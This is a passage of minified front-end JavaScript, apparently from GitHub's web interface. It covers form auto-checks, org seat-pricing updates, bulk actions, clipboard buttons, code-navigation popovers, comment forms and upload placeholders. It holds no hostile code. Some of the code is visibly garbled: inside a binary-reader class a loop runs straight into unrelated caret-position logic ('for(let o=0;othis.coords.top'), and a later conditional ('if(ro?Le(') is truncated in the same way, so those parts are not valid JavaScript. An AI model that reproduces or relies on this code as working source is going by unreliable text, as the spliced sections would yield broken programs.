HTMLAnchorElement){if(t.childElementCount>1)return;n=t,n.setAttribute("data-target","animated-image.originalLink"),t=n.parentElement}e.removeAttribute("data-animated-image"),e.setAttribute("data-target","animated-image.originalImage");const o=n?n.cloneNode(!0):e.cloneNode(!0),r=document.createElement("animated-image");r.appendChild(o),t==null||t.replaceChild(r,n||e)});var h=f(22485);document.addEventListener("pjax:start",function(){(0,h.x)("Loading page")}),document.addEventListener("pjax:error",function(){(0,h.x)("Loading failed")}),document.addEventListener("pjax:end",function(){(0,h.x)("Loading complete")});var d=f(52641);const m=new WeakMap;(0,u.N7)("auto-check",function(e){if(e.classList.contains("js-prevent-default-behavior"))return;const t=e.querySelector("input");if(!t)return;const n=t.closest(".form-group")||e,o=t.form;let r;function i(){return r||(r=`input-check-${(Math.random()*1e4).toFixed(0)}`),r}s(i,"generateId");const a=t.getAttribute("aria-describedby");t.addEventListener("focusout:delay",()=>{t.setAttribute("aria-describedby",[r,a].join(" "))});const l=n.querySelector("p.note");l&&(l.id||(l.id=i()),m.set(l,l.innerHTML)),e.addEventListener("loadstart",()=>{p(t,n),n.classList.add("is-loading"),t.classList.add("is-autocheck-loading"),(0,d.G)(o)}),e.addEventListener("loadend",()=>{n.classList.remove("is-loading"),t.classList.remove("is-autocheck-loading")}),t.addEventListener("auto-check-success",async y=>{t.classList.add("is-autocheck-successful"),n.classList.add("successed"),(0,d.G)(o);const{response:w}=y.detail;if(!w)return;const S=await w.text();if(!!S){if(l instanceof HTMLElement)l.innerHTML=S,(0,h.N)(l);else{const R=w.status===200,I=n.tagName==="DL"?"dd":"div",F=document.createElement(I);F.id=i(),F.classList.add(R?"success":"warning"),F.innerHTML=S,n.append(F),n.classList.add(R?"successed":"warn"),(0,h.N)(F),R&&(F.hidden=document.activeElement!==t)}(0,c.f)(t,"auto-check-message-updated")}}),t.addEventListener("auto-check-error",async y=>{t.classList.add("is-autocheck-errored"),n.classList.add("errored"),(0,d.G)(o);const{response:w}=y.detail;if(!w)return;const S=await w.text();if(l instanceof HTMLElement)l.innerHTML=S||"Something went wrong",(0,h.N)(l);else{const R=n.tagName==="DL"?"dd":"div",I=document.createElement(R);I.id=i(),I.classList.add("error"),I.innerHTML=S||"Something went wrong",n.append(I),(0,h.N)(I)}}),t.addEventListener("input",()=>{t.removeAttribute("aria-describedby"),t.value||p(t,n)}),t.addEventListener("blur",()=>{const y=n.querySelector(".success");y&&(y.hidden=!0)}),t.addEventListener("focus",()=>{const y=n.querySelector(".success");y&&(y.hidden=!1)}),o.addEventListener("reset",()=>{p(t,n)})});function p(e,t){var n,o,r,i,a,l;t.classList.remove("is-loading","successed","errored","warn"),e.classList.remove("is-autocheck-loading","is-autocheck-successful","is-autocheck-errored");const y=t.querySelector("p.note");if(y){const w=m.get(y);w&&(y.innerHTML=w)}t.tagName==="DL"?((n=t.querySelector("dd.error"))==null||n.remove(),(o=t.querySelector("dd.warning"))==null||o.remove(),(r=t.querySelector("dd.success"))==null||r.remove()):((i=t.querySelector("div.error"))==null||i.remove(),(a=t.querySelector("div.warning"))==null||a.remove(),(l=t.querySelector("div.success"))==null||l.remove())}s(p,"autocheck_reset");var b=f(46481);(0,u.N7)("auto-complete",function(e){e.addEventListener("loadstart",()=>e.classList.add("is-auto-complete-loading")),e.addEventListener("loadend",()=>e.classList.remove("is-auto-complete-loading"))}),(0,u.N7)("auto-complete",{constructor:b.Z,initialize:v}),(0,c.on)("auto-complete-change","auto-complete",function(e){v(e.currentTarget)});function v(e){const t=e.closest("form");if(!t)return;const n=t.querySelector(".js-auto-complete-button");n instanceof HTMLButtonElement&&(n.disabled=!e.value)}s(v,"toggleSubmitButton");var L=f(56238),q=f(12981),E=f(6170);let A=null;(0,c.on)("submit","[data-autosearch-results-container]",async function(e){const t=e.currentTarget;if(!(t instanceof HTMLFormElement))return;e.preventDefault(),A==null||A.abort(),t.classList.add("is-sending");const n=new URL(t.action,window.location.origin),o=t.method,r=new FormData(t),i=(0,L.KL)(n,r);let a=null;o==="get"?n.search=i:a=r;const{signal:l}=A=new AbortController,y=new Request(n.toString(),{method:o,body:a,signal:l,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});let w;try{w=await fetch(y)}catch{}if(t.classList.remove("is-sending"),!w||!w.ok||l.aborted)return;const S=t.getAttribute("data-autosearch-results-container"),R=S?document.getElementById(S):null;R&&(R.innerHTML="",R.appendChild((0,q.r)(document,await w.text()))),(0,E.lO)(null,"",`?${i}`)});var k=f(73185),j=f(45075);(0,j.ZG)("input[data-autoselect], textarea[data-autoselect]",async function(e){await(0,k.gJ)(),e.select()});var P=f(46263),M=f(6741);(0,c.on)("change","form[data-autosubmit]",function(e){const t=e.currentTarget;(0,L.Bt)(t)}),(0,c.on)("change","input[data-autosubmit], select[data-autosubmit]",O);function O(e){const t=e.target;if(!(t instanceof HTMLInputElement)&&!(t instanceof HTMLSelectElement))return;const n=t.form;(0,L.Bt)(n)}s(O,"autosubmit_submit");const V=(0,P.D)(O,300);(0,u.N7)("input[data-throttled-autosubmit]",{subscribe:e=>(0,M.RB)(e,"input",V)});async function H(e){const t=e.getAttribute("data-url")||"";if(await N(t)){const o=e.getAttribute("data-gravatar-text");o!=null&&(e.textContent=o)}}s(H,"detectGravatar"),(0,u.N7)(".js-detect-gravatar",function(e){H(e)});async function N(e){const t=e;if(!t)return!1;try{const n=await fetch(t,{headers:{Accept:"application/json"}});return n.ok?(await n.json()).has_gravatar:!1}catch{return!1}}s(N,"fetchGravatarInfo");var K=f(51989),W=f(41307),U=f(49815),te=f(66899),le=f(5878);const ae=[".unstyled-additional-seats-price-obj",".unstyled-base-price-obj",".unstyled-final-price-obj"];function we(e){return typeof e=="string"||typeof e=="number"?!1:"default_currency"in e&&"local_currency"in e}s(we,"isAPriceStruct");let ue=null;(0,c.on)("click",".js-org-signup-duration-change",e=>{e.preventDefault();const n=e.currentTarget.getAttribute("data-plan-duration");Yr(n),ts(n);for(const o of document.querySelectorAll(".js-seat-field"))Be(o);Qr()}),(0,c.on)("change",".js-org-signup-duration-toggle",async function({currentTarget:e}){const t=new URL(e.getAttribute("data-url"),window.location.origin);if((0,U.c)("TURBO")){const{visit:n}=await f.e("vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js").then(f.bind(f,74395));n(t)}else{const n=document.getElementById("js-pjax-container");(0,W.ZP)({url:t.toString(),container:n})}});async function Be(e){const t=e.getAttribute("data-item-name")||"items",n=e.value,o=new URL(e.getAttribute("data-url"),window.location.origin),r=new URLSearchParams(o.search.slice(1)),i=parseInt(e.getAttribute("data-item-minimum"))||0,a=parseInt(e.getAttribute("data-item-maximum"))||300,l=parseInt(e.getAttribute("data-item-count"))||0,y=Math.max(i,parseInt(n)||0),w=y>a,S=document.querySelector(".js-downgrade-button"),R=document.getElementById("downgrade-disabled-message");S instanceof HTMLButtonElement&&(S.disabled=y===l),R instanceof HTMLElement&&S instanceof HTMLButtonElement&&(R.hidden=!S.disabled),r.append(t,y.toString()),document.querySelector(".js-transform-user")&&r.append("transform_user","1"),o.search=r.toString(),ue==null||ue.abort();const{signal:F}=ue=new AbortController;let X=null;try{const Z=await fetch(o.toString(),{signal:F,headers:{Accept:"application/json"}});if(!Z.ok)return;X=await Z.json()}catch{}if(F.aborted||!X)return;const oe=document.querySelector(".js-contact-us");oe&&oe.classList.toggle("d-none",!w);const Q=document.querySelector(".js-cost-info");Q&&(Q.hidden=w);const se=document.querySelector(".js-payment-summary");se&&se.classList.toggle("d-none",w);const ce=document.querySelector(".js-submit-billing");ce instanceof HTMLElement&&(ce.hidden=w);const de=document.querySelector(".js-billing-section");de&&de.classList.toggle("has-removed-contents",X.free||X.is_enterprise_cloud_trial);const Y=document.querySelector(".js-upgrade-info");Y&&Y.classList.toggle("d-none",y<=0);const He=document.querySelector(".js-downgrade-info");He&&He.classList.toggle("d-none",y>=0);const B=document.querySelector(".js-extra-seats-line-item");B&&B.classList.toggle("d-none",X.no_additional_seats),document.querySelector(".js-seat-field")&&es(n);const z=document.querySelector(".js-minimum-seats-disclaimer");z&&(z.classList.toggle("tooltipped",X.seats===5),z.classList.toggle("tooltipped-nw",X.seats===5));const ee=X.selectors;for(const Z in ee)for(const ie of document.querySelectorAll(Z))Jr(Z)&&we(ee[Z])?(ie.textContent="",ie.appendChild(On("default-currency",ee[Z].default_currency)),ie.appendChild(On("local-currency",ee[Z].local_currency))):ie.textContent=ee[Z];(0,E.lO)((0,W.y0)(),"",X.url)}s(Be,"updateTotals");function Jr(e){return ae.includes(e)}s(Jr,"isPriceSelector");function On(e,t){const n=document.createElement("span");return n.classList.add(e),n.textContent=t,n}s(On,"priceCurrencyTag");function Qr(){for(const e of document.querySelectorAll(".js-unit-price"))e.hidden=!e.hidden}s(Qr,"toggleDurationUnitPrices");function Yr(e){const t=e==="year"?"month":"year";for(const o of document.querySelectorAll(".js-plan-duration-text"))o.textContent=e;for(const o of document.querySelectorAll(".unstyled-available-plan-duration-adjective"))o.textContent=`${e}ly`;for(const o of document.querySelectorAll(".js-org-signup-duration-change"))o.setAttribute("data-plan-duration",t);const n=document.getElementById("signup-plan-duration");n&&(n.value=e)}s(Yr,"updateDurationFields");function es(e){var t;for(const n of document.querySelectorAll(".js-seat-field")){const o=n.getAttribute("data-item-max-seats"),r=(t=n==null?void 0:n.parentNode)==null?void 0:t.querySelector(".Popover");o&&o.length&&(parseInt(e,10)>parseInt(o,10)?(n.classList.add("color-border-danger-emphasis"),r==null||r.removeAttribute("hidden")):(n.classList.remove("color-border-danger-emphasis"),r==null||r.setAttribute("hidden","true")))}}s(es,"updateSeatFields");function ts(e){for(const t of document.querySelectorAll(".js-seat-field")){const n=new URL(t.getAttribute("data-url"),window.location.origin),o=new URLSearchParams(n.search.slice(1));o.delete("plan_duration"),o.append("plan_duration",e),n.search=o.toString(),t.setAttribute("data-url",n.toString())}}s(ts,"updateSeatFieldURLs"),(0,u.N7)(".js-addon-purchase-field",{constructor:HTMLInputElement,add(e){(0,le.Z)(e)&&Be(e),(0,te.oq)(e,function(){Be(e)})}}),(0,u.N7)(".js-addon-downgrade-field",{constructor:HTMLSelectElement,add(e){(0,le.Z)(e)&&Be(e),e.addEventListener("change",function(){Be(e)})}});function ns(e){const t=document.querySelector(".js-addon-purchase-field"),n=e.target.querySelector("input:checked");if(t instanceof HTMLInputElement&&n instanceof HTMLInputElement){const o=n.getAttribute("data-upgrade-url");o&&(t.setAttribute("data-url",o),t.value="0",Be(t))}}s(ns,"handleOrgChange"),(0,c.on)("details-menu-selected",".js-organization-container",ns,{capture:!0}),(0,j.q6)(".js-csv-filter-field",function(e){const t=e.target.value.toLowerCase();for(const n of document.querySelectorAll(".js-csv-data tbody tr"))n instanceof HTMLElement&&(!n.textContent||(n.hidden=!!t&&!n.textContent.toLowerCase().includes(t)))}),(0,u.N7)(".js-blob-header.is-stuck",{add(e){Nn(e)},remove(e){Nn(e,!0)}});function Nn(e,t=!1){const n={"tooltipped-nw":"tooltipped-sw","tooltipped-n":"tooltipped-s","tooltipped-ne":"tooltipped-se"};for(const[o,r]of Object.entries(n)){const i=t?r:o,a=t?o:r;for(const l of e.querySelectorAll(`.${i}`))l.classList.replace(i,a)}}s(Nn,"flipTooltip");function os(e){const t=e.target,n=t==null?void 0:t.closest(".js-branch-protection-integration-select"),o=n==null?void 0:n.querySelector(".js-branch-protection-integration-select-current"),r=t==null?void 0:t.closest(".js-branch-protection-integration-select-item"),i=r==null?void 0:r.querySelector(".js-branch-protection-integration-select-label");o&&i&&n&&(o.innerHTML=i.innerHTML,n.open=!1)}s(os,"changeSelection"),(0,c.on)("change",".js-branch-protection-integration-select-input",os);function rs(e){const t=new URL(e.getAttribute("data-bulk-actions-url"),window.location.origin),n=new URLSearchParams(t.search.slice(1)),o=e.getAttribute("data-bulk-actions-parameter"),r=Array.from(e.querySelectorAll(".js-bulk-actions-toggle:checked"));if(o){const i=r.map(a=>a.closest(".js-bulk-actions-item").getAttribute("data-bulk-actions-id")).sort();for(const a of i)n.append(`${o}[]`,a)}else for(const i of r.sort((a,l)=>a.value>l.value?1:-1))n.append(i.name,i.value);return t.search=n.toString(),t.toString()}s(rs,"bulkUrl");let Dt=null;async function ss(e){const t=e.target;if(!(t instanceof HTMLElement))return;const n=t.querySelector(".js-bulk-actions"),o=!!t.querySelector(".js-bulk-actions-toggle:checked");Dt==null||Dt.abort();const{signal:r}=Dt=new AbortController;let i="";try{const a=await fetch(rs(t),{signal:r,headers:{"X-Requested-With":"XMLHttpRequest"}});if(!a.ok)return;i=await a.text()}catch{}r.aborted||!i||(o?(Bn(t),n.innerHTML=i):(n.innerHTML=i,Bn(t)),(0,c.f)(t,"bulk-actions:updated"))}s(ss,"updateBulkActions");function Bn(e){const t=document.querySelector(".js-membership-tabs");if(t){const n=e.querySelectorAll(".js-bulk-actions-toggle:checked");t.classList.toggle("d-none",n.length>0)}}s(Bn,"toggleMembershipTabs"),(0,c.on)("change",".js-bulk-actions-toggle",function(e){const n=e.currentTarget.closest(".js-bulk-actions-container");(0,c.f)(n,"bulk-actions:update")}),(0,c.on)("bulk-actions:update",".js-bulk-actions-container",(0,P.D)(ss,100));var me=f(7739),he=f(45922);function is(e){try{const t=window.localStorage.getItem(e);return{kind:"ok",value:t?JSON.parse(t):null}}catch(t){return{kind:"err",value:t}}}s(is,"getLocalJSON");function $n(e,t){try{return window.localStorage.setItem(e,JSON.stringify(t)),{kind:"ok",value:null}}catch(n){return{kind:"err",value:n}}}s($n,"setLocalJSON");function as(){const e={};for(const t of document.getElementsByTagName("script")){const n=t.src.match(/\/([\w-]+)-[0-9a-f]{8,}\.js$/);n&&(e[`${n[1]}.js`]=t.src)}for(const t of document.getElementsByTagName("link")){const n=t.href.match(/\/([\w-]+)-[0-9a-f]{8,}\.css$/);n&&(e[`${n[1]}.css`]=t.href)}return e}s(as,"gatherBundleURLs");function cs(){const e=as(),t=is("bundle-urls");if(t.kind==="err"){$n("bundle-urls",e);return}const n=t.value||{},o=Object.keys(e).filter(r=>n[r]!==e[r]);o.length&&$n("bundle-urls",{...n,...e}).kind==="ok"&&(0,he.b)({downloadedBundles:o})}s(cs,"report"),(async()=>(await me.C,window.requestIdleCallback(cs)))();var Ql=f(41415);function ls(e){e.preventDefault(),e.stopPropagation()}s(ls,"cancelEvent"),(0,u.N7)("a.btn.disabled",{subscribe:e=>(0,M.RB)(e,"click",ls)});var Ht=f(90458),us=f(58797);(0,u.N7)(".js-check-all-container",{constructor:HTMLElement,subscribe:us.Z});var Ve=f(64926);const Fn="logout-was-successful";function ds(){for(const e of[sessionStorage,localStorage])try{e.clear()}catch{}}s(ds,"clearData");function fs(){(0,Ve.$1)(Fn).length>0&&(ds(),(0,Ve.kT)(Fn))}s(fs,"clearDataIfJustLoggedOut"),fs();const Un=2e3;(0,c.on)("clipboard-copy","[data-copy-feedback]",e=>{const t=e.currentTarget,n=t.getAttribute("data-copy-feedback"),o=t.getAttribute("aria-label"),r=t.getAttribute("data-tooltip-direction")||"s";t.setAttribute("aria-label",n),t.classList.add("tooltipped",`tooltipped-${r}`),t instanceof HTMLElement&&((0,h.N)(t),setTimeout(()=>{o?t.setAttribute("aria-label",o):t.removeAttribute("aria-label"),t.classList.remove("tooltipped",`tooltipped-${r}`)},Un))});function ms(e){Ot.delete(e),Wn(e)}s(ms,"timerCallback");function Wn(e){const t=e.querySelector(".js-clipboard-copy-icon"),n=e.querySelector(".js-clipboard-check-icon");e.classList.toggle("ClipboardButton--success"),t&&t.classList.toggle("d-none"),n&&(n.classList.contains("d-sm-none")?n.classList.toggle("d-sm-none"):n.classList.toggle("d-none"))}s(Wn,"toggleCopyButton");const Ot=new WeakMap;(0,c.on)("clipboard-copy",".js-clipboard-copy:not([data-view-component])",function({currentTarget:e}){if(!(e instanceof HTMLElement))return;const t=Ot.get(e);t?clearTimeout(t):Wn(e),Ot.set(e,window.setTimeout(ms,Un,e))}),(0,c.on)("click",".js-code-nav-retry",async function(e){if(e.altKey||e.ctrlKey||e.metaKey||e.shiftKey)return;const t=document.querySelector(".js-tagsearch-popover");if(!t)return;const n=t.querySelector(".js-tagsearch-popover-content");if(!n)return;let o;const r=e.currentTarget;if(r.getAttribute("data-code-nav-kind")==="definitions"?o=t.querySelector(".js-tagsearch-popover-content"):o=t.querySelector(".js-code-nav-references"),!o)return;const a=r.getAttribute("data-code-nav-url");if(!a)return;const l=new URL(a,window.location.origin);try{const y=await fetch(l.toString(),{headers:{"X-Requested-With":"XMLHttpRequest"}});if(!y.ok)return;const w=await y.text();if(!w)return;o.innerHTML=w}catch{return}n.scrollTop=0}),(0,u.N7)(".js-code-nav-container",{constructor:HTMLElement,subscribe(e){const t=e,n=document.querySelector(".js-tagsearch-popover");if(!(n instanceof HTMLElement))return{unsubscribe(){}};const o=n.querySelector(".js-tagsearch-popover-content"),r=new WeakMap,i=new WeakMap;let a;l();function l(){ce();for(const B of document.getElementsByClassName("pl-token"))B.classList.remove("pl-token","active")}s(l,"initialize");async function y(B){const G=Nt(/\w+[!?]?/g,B.clientX,B.clientY,0);if(!G)return;const z=G.commonAncestorContainer.parentElement;if(!z)return;for(const Zl of z.classList)if(["pl-token","pl-c","pl-s","pl-k"].includes(Zl))return;if(z.closest(".js-skip-tagsearch"))return;const ee=G.toString();if(!ee||ee.match(/\n|\s|[();&.=",]/))return;let Z=i.get(z);if(Z||(Z=new Set,i.set(z,Z)),Z.has(ee))return;Z.add(ee);const ie=z.closest(".js-tagsearch-file");if(!ie)return;const Dn=ie.getAttribute("data-tagsearch-path")||"";let Oe=ie.getAttribute("data-tagsearch-lang")||"";if(Oe==="HTML+ERB")if(z.closest(".pl-sre"))Oe="Ruby";else return;if(e.classList.contains("js-code-block-container")&&(Oe=ps(z)||"",!Oe))return;const Hn=Kn(G),Ne=document.createElement("span");Ne.classList.add("pl-token"),Ne.addEventListener("click",S);let It;if(!(0,U.c)("BLACKBIRD_MONOLITH")){if(It=await zn(n,ee,Oe,Hn,Dn),!It)return;R(Ne,It),r.set(Ne,It)}G.surroundContents(Ne)}s(y,"onMouseMove");function w(){o.scrollTop=0}s(w,"resetScrollTop");async function S(B){if(B.altKey||B.ctrlKey||B.metaKey||B.shiftKey)return;const G=B.currentTarget;if(G===a)ce();else if(X(G),(0,U.c)("BLACKBIRD_MONOLITH")){const z=n.querySelector(".js-loading-code-definitions");z&&(o.hidden=!0,z.hidden=!1,Q(G),se()),await F(B),oe(G),z&&!z.hidden&&(z.hidden=!0),o.children.length>0?o.hidden=!1:ce()}else oe(G),se();B.preventDefault()}s(S,"onClick");function R(B,G){const z=document.createElement("span");z.innerHTML=G;const ee=z.firstElementChild;if(!ee)return;const Z=ee.getAttribute("data-hydro-click"),ie=ee.getAttribute("data-hydro-click-hmac");ie&&Z&&(B.setAttribute("data-hydro-click",Z),B.setAttribute("data-hydro-click-hmac",ie))}s(R,"addPopoverElement");async function I(B,G){const z=Nt(/\w+[!?]?/g,B.clientX,B.clientY,2);if(!z)return;const ee=z.commonAncestorContainer.parentElement;if(!ee)return;for(const Ne of ee.classList)if(G.includes(Ne))return;const Z=z.toString(),ie=ee.closest(".js-tagsearch-file");if(!ie)return;const Dn=ie.getAttribute("data-tagsearch-path")||"",Oe=ie.getAttribute("data-tagsearch-lang")||"",Hn=Kn(z);return await zn(n,Z,Oe,Hn,Dn)}s(I,"getPopoverHtml");async function F(B){const G=await I(B,["data-hydro-click"]);if(!G)return;const z=document.getElementsByClassName("active")[0];!z||(R(z,G),r.set(z,G))}s(F,"fetchPopover");function X(B){a&&a.classList.remove("active"),a=B,a.classList.add("active")}s(X,"setActivePopover");function oe(B){o.innerHTML=r.get(B)||"",Q(B)}s(oe,"populatePopover");function Q(B){const G=t.getClientRects()[0],z=B.getClientRects()[0];n.style.position="absolute",n.style.zIndex="2",t.classList.contains("position-relative")?(n.style.top=`${z.bottom-G.top+7}px`,n.style.left=`${z.left-G.left-10}px`):(n.style.top=`${window.scrollY+z.bottom}px`,n.style.left=`${window.scrollX+z.left}px`)}s(Q,"positionPopover");function se(){if(!n.hidden){w();return}n.hidden=!1,w(),document.addEventListener("click",Y),document.addEventListener("keyup",He),window.addEventListener("resize",de)}s(se,"showPopover");function ce(){n.hidden||(n.hidden=!0,a&&a.classList.remove("active"),a=void 0,document.removeEventListener("click",Y),document.removeEventListener("keyup",He),window.removeEventListener("resize",de))}s(ce,"hidePopover");function de(){a instanceof HTMLElement&&Q(a)}s(de,"onResize");function Y(B){const{target:G}=B;G instanceof Node&&!n.contains(G)&&!a.contains(G)&&ce()}s(Y,"onDocumentClick");function He(B){switch(B.key){case"Escape":ce();break}}return s(He,"onKeyup"),e.addEventListener("mousemove",y),{unsubscribe(){e.removeEventListener("mousemove",y)}}}});async function zn(e,t,n,o,r){const i=e.getAttribute("data-tagsearch-url");if(!i)return"";const a=e.getAttribute("data-tagsearch-ref");if(!a)return"";let l=e.getAttribute("data-tagsearch-code-nav-context");l||(l="UNKNOWN_VIEW");const y=new URL(i,window.location.origin),w=new URLSearchParams;w.set("q",t),w.set("blob_path",r),w.set("ref",a),w.set("language",n),w.set("row",o[0].toString()),w.set("col",o[1].toString()),w.set("code_nav_context",l),y.search=w.toString();try{const S=await fetch(y.toString(),{headers:{"X-Requested-With":"XMLHttpRequest"}});if(!S.ok)return"";const R=await S.text();return/js-tagsearch-no-definitions/.test(R)?"":R}catch{return""}}s(zn,"fetchPopoverContents");function Nt(e,t,n,o){let r,i;if(document.caretPositionFromPoint){const S=document.caretPositionFromPoint(t,n);S&&(r=S.offsetNode,i=S.offset)}else if(document.caretRangeFromPoint){const S=document.caretRangeFromPoint(t,n);S&&(r=S.startContainer,i=S.startOffset)}if(!r||typeof i!="number"||!(0,U.c)("BLACKBIRD_MONOLITH")&&r.nodeType!==Node.TEXT_NODE)return;const a=r.textContent,l=(a==null?void 0:a.replaceAll(` +`,"").trim())==="";if(!a||l||r.nodeType!==Node.TEXT_NODE){if(o<=0||!(0,U.c)("BLACKBIRD_MONOLITH"))return null;{const S=r.nodeType!==Node.TEXT_NODE?1:10;return Nt(e,t-S,n-S,o-1)}}const y=hs(a,e,i);if(!y)return null;const w=document.createRange();return w.setStart(r,y[1]),w.setEnd(r,y[2]),w}s(Nt,"matchFromPoint");function hs(e,t,n){let o;for(;o=t.exec(e);){const r=o.index+o[0].length;if(o.index<=n&&n<=r)return[o[0],o.index,r]}return null}s(hs,"findNearestMatch");function ps(e){const t=e.closest(".highlight");if(t)for(const n of t.classList)switch(n){case"highlight-source-go":return"Go";case"highlight-source-js":return"JavaScript";case"highlight-source-python":return"Python";case"highlight-source-ruby":return"Ruby";case"highlight-source-ts":return"TypeScript"}return null}s(ps,"getCodeBlockLanguage");function Kn(e){let t=e.startContainer,n=e.startOffset,o=!1;for(;;){let r=t.previousSibling;for(;!o&&r;)["#comment","BUTTON"].includes(r.nodeName)||(n+=(r.textContent||"").length),r=r.previousSibling;const i=t.parentElement;if(i){if(i.classList.contains("js-code-nav-pass"))o=!0;else if(i.classList.contains("js-file-line")){const a=i.previousElementSibling;if(!a.classList.contains("js-code-nav-line-number"))throw new Error("invariant");return[parseInt(a.getAttribute("data-line-number")||"1",10)-1,n]}t=i}else return[0,0]}}s(Kn,"getRowAndColumn");var Me=f(78965);function gs(e){const t=e.querySelector(".js-comment-form-error");t instanceof HTMLElement&&(t.hidden=!0)}s(gs,"clearFormError"),(0,c.on)("click",".errored.js-remove-error-state-on-click",function({currentTarget:e}){e.classList.remove("errored")}),(0,C.AC)(".js-new-comment-form",async function(e,t){let n;gs(e);try{n=await t.json()}catch(i){bs(e,i)}if(!n)return;e.reset();for(const i of e.querySelectorAll(".js-resettable-field"))(0,L.Se)(i,i.getAttribute("data-reset-value")||"");const o=e.querySelector(".js-write-tab");o instanceof HTMLElement&&o.click();const r=n.json.updateContent;for(const i in r){const a=r[i],l=document.querySelector(i);l instanceof HTMLElement?(0,Me.Of)(l,a):console.warn(`couldn't find ${i} for immediate update`)}(0,c.f)(e,"comment:success")});function bs(e,t){let n="You can't comment at this time";if(t.response&&t.response.status===422){const r=t.response.json;r.errors&&(Array.isArray(r.errors)?n+=` \u2014 your comment ${r.errors.join(", ")}`:n=r.errors)}n+=". ";const o=e.querySelector(".js-comment-form-error");if(o instanceof HTMLElement){o.textContent=n,o.hidden=!1;const r=o.closest("div.form-group.js-remove-error-state-on-click");r&&r.classList.add("errored")}}s(bs,"handleFormError");const ys=s((e,t)=>{const n=e.querySelector(".js-form-action-text"),o=n||e;o.textContent=t?e.getAttribute("data-comment-text"):o.getAttribute("data-default-action-text")},"setButtonText"),vs=s(e=>{let t;return n=>{const r=n.currentTarget.value.trim();r!==t&&(t=r,ys(e,Boolean(r)))}},"createInputHandler");(0,u.N7)(".js-comment-and-button",{constructor:HTMLButtonElement,initialize(e){const t=e.form.querySelector(".js-comment-field"),n=vs(e);return{add(){t.addEventListener("input",n),t.addEventListener("change",n)},remove(){t.removeEventListener("input",n),t.removeEventListener("change",n)}}}});var Yl=f(2641);function Vn(e,t){const n=e.closest(".js-write-bucket");n&&n.classList.toggle("focused",t)}s(Vn,"toggleFocus");function ws(e){const t=e.currentTarget;t instanceof Element&&Vn(t,!1)}s(ws,"blurred"),(0,j.ZG)(".js-comment-field",function(e){Vn(e,!0),e.addEventListener("blur",ws,{once:!0})});var Ee=f(40764),Es=f(52769),Bt=f(35889);const Ls=2303741511,js=4;class ot{static fromFile(t){return new Promise(function(n,o){const r=new FileReader;r.onload=function(){n(new ot(r.result))},r.onerror=function(){o(r.error)},r.readAsArrayBuffer(t)})}constructor(t){this.dataview=new DataView(t),this.pos=0}advance(t){this.pos+=t}readInt(t){const n=this,o=function(){switch(t){case 1:return n.dataview.getUint8(n.pos);case 2:return n.dataview.getUint16(n.pos);case 4:return n.dataview.getUint32(n.pos);default:throw new Error("bytes parameter must be 1, 2 or 4")}}();return this.advance(t),o}readChar(){return this.readInt(1)}readShort(){return this.readInt(2)}readLong(){return this.readInt(4)}readString(t){const n=[];for(let o=0;othis.coords.top+this.coords.height?1:0}xDistance(t){return Math.abs(this.left-t)}}s(Xn,"CaretPosition");function Le(e,t){let n;if(rt.has(e)?n=rt.get(e):(n=new Map,rt.set(e,n)),n.has(t))return n.get(t);{const o=new Xn(t,(0,As.Z)(e,t),e);return n.set(t,o),o}}s(Le,"fetchCaretCoords");const Xe=s((e,t,n,o,r,i)=>{if(n===t)return n;const a=s(S=>{const R=S.filter(I=>I.checkLine(r)===0).sort((I,F)=>I.xDistance(o)>F.xDistance(o)?1:-1);return R.length===0?n:R[0].index},"bestPosition");if(n-t===1){const S=Le(e,t),R=Le(e,n);return a([S,R])}if(n-t===2){const S=Le(e,t),R=Le(e,n-1),I=Le(e,n);return a([S,R,I])}const l=Math.floor((n+t)/2);if(l===t||l===n)return l;const y=Le(e,l);if(r>y.top+y.height)return Xe(e,l+1,n,o,r,i+1);if(ro?Le(e,l-1).checkLine(r)!==0?l:Xe(e,t,l-1,o,r,i+1):l},"binaryCursorSearch"),Cs=s((e,t,n)=>{const r=e.value.length-1;return Xe(e,0,r,t,n,0)},"findCursorPosition");function ks(e,t,n){const o=Cs(e,t,n);e.setSelectionRange(o,o)}s(ks,"setCursorPosition");function xs(e,t){const n=e.getBoundingClientRect();t.type==="dragenter"&&rt.delete(e);const o=t.clientX-n.left,r=t.clientY-n.top+e.scrollTop;ks(e,o,r)}s(xs,"caret_placement_updateCaret"),(0,u.N7)(".js-paste-markdown",{initialize(e){let t;return{add(){t=(0,Es.Ld)(e).unsubscribe},remove(){t()}}}});const $t=new WeakMap;function eu(e,t){$t.set(e,t)}s(eu,"cachePlaceholder");function Ms(e){return $t.get(e)||Zn(e)}s(Ms,"getPlaceholder");function Ft(e){return["video/mp4","video/quicktime"].includes(e.file.type)}s(Ft,"isVideo");function qs(e){return e.replace(/[[\]\\"<>&]/g,".").replace(/\.{2,}/g,".").replace(/^\.|\.$/gi,"")}s(qs,"parameterizeName");function Gn(e){return Ft(e)?` +Uploading ${e.file.name}\u2026 +`:`${e.isImage()?"!":""}[Uploading ${e.file.name}\u2026]()`}s(Gn,"placeholderText");function Rs(e){return qs(e).replace(/\.[^.]+$/,"").replace(/\./g," ")}s(Rs,"altText");const _s=72*2;function st(e){const n=e.target.closest("form").querySelector(".btn-primary");n.disabled=!0}s(st,"disableSubmit");function it(e){const n=e.target.closest("form").querySelector(".btn-primary");n.disabled=!1}s(it,"enableSubmit");async function Ps(e){const{attachment:t}=e.detail,n=e.currentTarget;let o;t.isImage()?o=await Hs(t):Ft(t)?o=Ds(t):o=Is(t),Qn("",o,e,n)}s(Ps,"onUploadCompleted");function Is(e){return`[${e.file.name}](${e.href})`}s(Is,"mdLink");function Ds(e){return` +${e.href} +`}s(Ds,"videoMarkdown");async function Hs(e){const t=await Os(e.file),n=Rs(e.file.name),o=e.href;return t.ppi===_s?`${n}`:`![${n}](${o})`}s(Hs,"imageTag");async function Os(e){var t;const n={width:0,height:0,ppi:0};try{return(t=await Ts(e))!=null?t:n}catch{return n}}s(Os,"imageSize");function Zn(e){const t=Gn(e);return Ft(e)?` +${t} +`:`${t} +`}s(Zn,"replacementText");function Jn(e){const t=e.currentTarget.querySelector(".js-comment-field"),n=Ms(e.detail.attachment);if(t)t.setCustomValidity(""),(0,Ee.lp)(t,n,"");else{const r=(0,Bt.P)(e.currentTarget.querySelector(".js-code-editor")).editor.getSearchCursor(n);r.findNext(),r.replace("")}}s(Jn,"removeFailedUpload");function Qn(e,t,n,o){const r=(o||n.currentTarget).querySelector(".js-comment-field"),i=(o||n.currentTarget).querySelector(".js-file-upload-loading-text"),a=Gn(n.detail.attachment),{batch:l}=n.detail;if(r){const 